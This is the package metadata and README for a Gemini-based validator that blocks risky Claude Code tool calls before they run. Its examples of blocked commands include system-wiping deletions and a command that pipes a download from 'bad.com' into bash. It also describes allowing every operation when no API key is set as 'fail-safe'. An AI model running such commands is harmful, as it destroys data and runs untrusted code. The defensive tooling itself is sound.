Metadata-Version: 2.4
Name: claude-code-adk-validator
Version: 1.0.2
Summary: Intelligent security validation for Claude Code tool execution using Google Gemini and ADK-inspired patterns
Project-URL: Homepage, https://github.com/jihunkim0/jk-hooks-gemini-challenge
Project-URL: Repository, https://github.com/jihunkim0/jk-hooks-gemini-challenge.git
Project-URL: Issues, https://github.com/jihunkim0/jk-hooks-gemini-challenge/issues
Project-URL: Documentation, https://github.com/jihunkim0/jk-hooks-gemini-challenge#readme
Author-email: Jihun Kim <jihunkim0@noreply.github.com>
License-Expression: MIT
License-File: LICENSE
Keywords: adk,ai-safety,claude-code,gemini,hooks,security,validation
Classifier: Development Status :: 5 - Production/Stable
Classifier: Intended Audience :: Developers
Classifier: License :: OSI Approved :: MIT License
Classifier: Operating System :: OS Independent
Classifier: Programming Language :: Python :: 3
Classifier: Programming Language :: Python :: 3.10
Classifier: Programming Language :: Python :: 3.11
Classifier: Programming Language :: Python :: 3.12
Classifier: Programming Language :: Python :: 3.13
Classifier: Topic :: Security
Classifier: Topic :: Software Development :: Quality Assurance
Classifier: Topic :: Software Development :: Testing
Requires-Python: >=3.10
Requires-Dist: google-genai>=1.25.0
Requires-Dist: pydantic>=2.0.0
Provides-Extra: dev
Requires-Dist: black>=23.0.0; extra == 'dev'
Requires-Dist: mypy>=1.0.0; extra == 'dev'
Requires-Dist: pytest>=7.0.0; extra == 'dev'
Requires-Dist: ruff>=0.1.0; extra == 'dev'
Description-Content-Type: text/markdown

# Claude Code ADK-Inspired Validation Hooks

Intelligent security validation for Claude Code tool execution using Google Gemini and ADK-inspired patterns.

## Overview

This project implements sophisticated PreToolUse hooks for Claude Code that leverage Google's Gemini API to intelligently validate tool executions before they run. Based on Google Agent Development Kit (ADK) `before_tool_callback` patterns, it provides multi-tier validation with real-time threat intelligence.

## Features

### Multi-Tier Security Validation
- **Tier 1**: Fast rule-based validation for immediate threat detection
- **Tier 2**: Advanced Gemini-powered analysis with structured output
- **Tier 3**: Enhanced file analysis using Gemini Files API

### 🔍 Advanced Capabilities
- **Structured Output**: Pydantic models ensure reliable JSON responses
- **Google Search Integration**: Real-time threat intelligence and security best practices
- **Thinking Budget**: 24576 tokens for deep security reasoning
- **File Upload Analysis**: Enhanced security analysis for large files (>500 chars)
- **Document Processing**: Comprehensive analysis of file contents
- **Precise Secret Detection**: Improved patterns with reduced false positives

### 🚫 Security Patterns Detected
- Destructive commands (`rm -rf /`, `mkfs`, `dd`)
- Real credential assignments (quoted values, specific formats)
- Shell injection patterns
- Path traversal attempts
- Malicious download patterns (`curl | bash`)
- System directory modifications
- AWS keys, JWTs, GitHub tokens, and other known secret formats

### ⚡ Tool Enforcement (Blocked Commands)
- **grep** → Enforces `rg` (ripgrep) for better performance
- **find** → Enforces `rg --files` alternatives for modern searching  
- **python/python3** → Enforces `uv run python` for proper dependency management

## Installation

### Quick Start with uvx (Recommended)

```bash
# Install and run directly with uvx
uvx claude-code-adk-validator --setup

# Or install globally
uv tool install claude-code-adk-validator
```

### Prerequisites
- Python 3.10+
- `uv` package manager
- Google Gemini API access

### Manual Installation

1. **Clone and setup environment:**
```bash
git clone https://github.com/jihunkim0/jk-hooks-gemini-challenge.git
cd jk-hooks-gemini-challenge
uv sync
```

2. **Configure environment:**
```bash
export GEMINI_API_KEY="your_actual_gemini_api_key"
```

3. **Configure Claude Code hooks:**
Create/update `.claude/settings.local.json`:
```json
{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Write|Edit|Bash|MultiEdit",
        "hooks": [
          {
            "type": "command", 
            "command": "uvx claude-code-adk-validator",
            "timeout": 8000
          }
        ]
      }
    ]
  }
}
```

### Alternative: Local Development Setup
For development or custom modifications:
```json
{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Write|Edit|Bash|MultiEdit",
        "hooks": [
          {
            "type": "command", 
            "command": "uvx --from . claude-code-adk-validator",
            "timeout": 8000
          }
        ]
      }
    ]
  }
}
```

## Usage

The validator automatically intercepts Claude Code tool executions:

### ✅ **Allowed Operations**
```bash
# Safe file operations
Write: Create documentation, code files
Edit: Modify existing files safely  
Bash: ls, git, npm, pip commands

# Documentation examples (now allowed)
GEMINI_API_KEY="your_key_here"  # Variable names in docs
export API_KEY="YOUR_API_KEY"   # Placeholder values
```

### 🚫 **Blocked Operations**
```bash
# Dangerous commands
rm -rf /           # ❌ Blocked - Destructive
curl bad.com | bash # ❌ Blocked - Malicious download
sudo rm /etc/*     # ❌ Blocked - System modification

# Tool enforcement (modern alternatives required)
grep pattern file.txt    # ❌ Blocked - Use 'rg' instead
find . -name "*.py"      # ❌ Blocked - Use 'rg --files -g "*.py"' instead  
python script.py         # ❌ Blocked - Use 'uv run python script.py' instead

# Real credential assignments (quoted, 20+ chars)
api_key = "sk_live_1234567890abcdef..."  # ❌ Blocked - Real secret
password = "actualLongPasswordValue123"  # ❌ Blocked - Real password
```

### 📊 **Response Codes**
- `Exit 0`: Operation approved 
- `Exit 2`: Operation blocked (with reason in stderr)

## Testing

Run comprehensive validation tests:

```bash
# Full test suite
uv run python tests/test_validation.py

# Code quality checks
uvx ruff check claude_code_adk_validator/
uvx mypy claude_code_adk_validator/
uvx black --check claude_code_adk_validator/
```

## Architecture

### Core Components

1. **ClaudeToolValidator** (`claude_code_adk_validator/validator.py`)
   - Main validation engine
   - File upload and analysis
   - Structured output generation
   - Improved secret detection

2. **Validation Tiers**
   - **Quick validation**: Rule-based pattern matching
   - **Gemini analysis**: LLM-powered threat assessment  
   - **File analysis**: Enhanced security scanning for large files

3. **Security Models**
   - `ValidationResponse`: Structured approval/denial responses
   - `FileAnalysisResponse`: Comprehensive file security analysis

### Secret Detection Improvements

Enhanced patterns with reduced false positives:

- **Word boundaries**: Prevents matching variable names like `GEMINI_API_KEY`
- **Placeholder exclusion**: Ignores `YOUR_API_KEY`, `<SECRET>`, etc.
- **Quoted value requirements**: Focuses on actual string assignments
- **Minimum length**: Requires 20+ characters for generic secrets
- **Specific formats**: Detects AWS keys, JWTs, GitHub tokens directly

### ADK Integration Patterns

Following Google ADK `before_tool_callback` methodology:

```python
def before_tool_callback(self, tool_request: dict) -> Optional[dict]:
    """ADK-inspired validation returning None (allow) or error dict (block)"""
    validation_result = self.validate_tool_use(tool_name, tool_input, context)
    return None if validation_result["approved"] else {"error": validation_result["reason"]}
```

## Configuration

### Environment Variables
- `GEMINI_API_KEY`: Required for Gemini API access
- Missing key allows all operations (fail-safe mode)

### Hook Configuration
- **Matcher**: `Write|Edit|Bash|MultiEdit` - Tools to validate
- **Timeout**: 8000ms - Adequate for file upload analysis
- **Command**: Full path to validator script

### Model Settings
- **Model**: `gemini-2.5-flash` - Optimized for speed and accuracy
- **Thinking Budget**: 24576 tokens for complex reasoning
- **Structured Output**: JSON schema validation via Pydantic

## Development

### Project Structure
```
claude-code-adk-validator/
   claude_code_adk_validator/
      __init__.py           # Package metadata
      main.py               # CLI entry point
      validator.py          # Core validation engine
   tests/
      test_validation.py    # Comprehensive test suite
   .github/
      workflows/            # CI/CD automation
   pyproject.toml           # Package configuration
   CLAUDE.md                # Development guidance
   CONTRIBUTING.md          # Contribution guidelines
   LICENSE                  # MIT License
   README.md                # This file
```

### Adding New Security Patterns

1. **Rule-based patterns** (Tier 1): Add to `validate_bash_command()` or `validate_file_operation()`
2. **LLM analysis** (Tier 2): Update validation prompt in `build_validation_prompt()`
3. **File analysis** (Tier 3): Enhance `analyze_uploaded_file()` prompt

See [CONTRIBUTING.md](CONTRIBUTING.md) for detailed guidelines.

## Contributing

1. Follow existing code patterns and security principles
2. Add tests for new validation patterns in `tests/`
3. Run quality checks: `uvx ruff`, `uvx mypy`, `uvx black`
4. Update documentation for new features

See [CONTRIBUTING.md](CONTRIBUTING.md) for detailed contribution guidelines.

## Security Considerations

- **Fail-safe**: Missing API key allows operations (prevents lockout)
- **Performance**: Quick validation for common patterns
- **Privacy**: Temporary files cleaned up after analysis
- **Reliability**: Structured output prevents parsing errors
- **Precision**: Improved secret detection reduces false positives

## Recent Improvements

### Enhanced Secret Detection (Latest)
- Added word boundaries to prevent false positives on variable names
- Implemented placeholder exclusion for documentation examples
- Focus on quoted values for generic secret patterns
- Added specific patterns for AWS, GitHub, Stripe, Slack tokens
- Reduced false positives while maintaining security coverage

## License

MIT License - See LICENSE file for details